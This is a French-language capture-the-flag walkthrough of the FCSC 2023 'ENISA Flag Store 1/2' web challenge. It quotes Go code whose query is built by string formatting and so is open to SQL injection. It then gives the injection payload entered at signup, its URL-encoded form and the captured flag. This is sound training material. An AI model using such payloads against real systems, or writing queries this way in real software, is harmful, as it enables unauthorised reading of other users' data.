Cover Image

FCSC 2023 - ENISA Flag Store 1/2


Dans cet article, nous allons explorer le déroulement pas à pas (walkthrough) du challenge ‘ENISA Flag Store 1/2’ proposé lors du FCSC 2023.

Nous disposons du code source suivant, il s’agit de l’application web du challenge. Par la longueur de ce code, vous pouvez le télécharger ici.

Le but du challenge est de voler un flag à nos chers amis suisses.

En analysant le code nous pouvons voir plusieurs choses:

  • Nous pouvons constater les endpoints suivants:
mux.HandleFunc("/", endpoint_index)
mux.HandleFunc("/login", endpoint_login)
mux.HandleFunc("/signup", endpoint_signup)
mux.HandleFunc("/logout", endpoint_logout)
mux.HandleFunc("/flags", endpoint_flags)
  • Lors de la création de compte sur l’application nous pouvons avoir plusieurs types d’erreurs:
err := RegisterLoginPassword(username, password, country)
    if err != nil {
        if errors.Is(err, ErrUserAlreadyExist) {
            http.Redirect(w, r, "/signup?error=3", http.StatusSeeOther)
        } else if errors.Is(err, ErrFieldTooLong) {
            http.Redirect(w, r, "/signup?error=4", http.StatusSeeOther)
        } else {
            http.Redirect(w, r, "/signup?error=5", http.StatusSeeOther)
        }
        return
    }

Erreur 3: l’utilisateur existe déjà

Erreur 4: Un des champs possède beaucoup trop de caractères

Erreur 5: Autre erreur potentielle

Et dans la fonction getData() qui permet de charger les flags du pays dont apprtient l’utilisateurs dans l’endpoint /flags:

func getData(user User) (
    []Flag,
    error,
) {
    var flags []Flag

    req := fmt.Sprintf(`SELECT ctf, challenge, flag, points
                        FROM flags WHERE country = '%s';`, user.Country);
    rows, err := db.Query(req);
    if err != nil {
        return flags, err
    }
    defer rows.Close()

    for rows.Next() {
        var flag Flag
        err = rows.Scan(&flag.CTF, &flag.Challenge, &flag.Flag, &flag.Points)
        if err != nil {
            return flags, err
        }
        flags = append(flags, flag)
    }
    if err = rows.Err(); err != nil {
        return flags, err
    }

    return flags, nil
}

On reconnait tout de suite une injection SQL, parce que aucune donnée n’est filtrée et simplement ajoutée das la requête telle quelle.

Stratégie

  • Je reste focalisé sur la partie enregistrement puisque à part cet endroit là, on ne peut pas vraiment avoir la main sur les informations qu’on rentre pour tenter quelconque exploitation.

On essaie d’injecter le paramètre country pour voir le comportement de l’application.

Un payload plausible me vient à l’esprit et c’est le suivant:

fr' OR country != 'fr

La requête effectuée serait la suivante:

SELECT ctf, challenge, flag, points
                        FROM flags WHERE country = 'fr' OR country != 'fr';

La requête SQL sélectionne les colonnes ctf, challenge, flag et points de la table flags pour tous les enregistrements, sans distinction de la valeur de la colonne country. L’utilisation de la condition "country = 'fr' OR country != 'fr'" inclut toutes les lignes possibles de la table.

Je décide d’ouvrir BurpSuite pour récupérer la requête qu’on envoie lors de l’enregistrement de notre compte:

Je modifie fr dans country par notre payload url encodé

fr%27%20OR%20country%20!%3D%20%27fr

Le compte à bien été créé il suffit juste de se connecter avec le compte pour se rendre compte que l’exploitation à fonctionnée:

Le flag est FCSC{fad3a47d8ded28565aa2f68f6e2dbc37343881ba67fe39c5999a0102c387c34b}